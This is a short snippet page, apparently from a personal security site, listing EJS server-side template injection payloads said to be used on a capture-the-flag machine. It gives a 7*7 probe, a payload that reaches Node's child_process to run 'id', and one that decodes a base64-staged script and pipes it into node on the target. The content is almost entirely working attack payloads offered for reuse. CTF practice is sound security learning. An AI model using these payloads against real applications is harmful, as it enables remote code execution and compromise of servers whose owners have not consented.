M4cCrypt0
back to snippets

EJS SSTI — Probe to RCE

Server-side template injection in EJS: confirm with a 7*7 probe, escalate to execSync command execution, then stage a bigger payload via base64.

text
# Values below go into the injectable template field (e.g. template=...).

# 1) probe — a reflected "49" proves the input is evaluated as a template
<%= 7*7 %>

# 2) RCE — reach Node's child_process through the template engine
<%= process.mainModule.require("child_process").execSync("id") %>

# 3) stage a real payload without quoting hell: base64 shell.js locally
#    (base64 -w0 shell.js), then decode + pipe into node on the target
<%= process.mainModule.require("child_process").execSync("echo <BASE64> | base64 -d | node") %>

used in: Byte Lotus — Poolside (Boot2Root, Medium)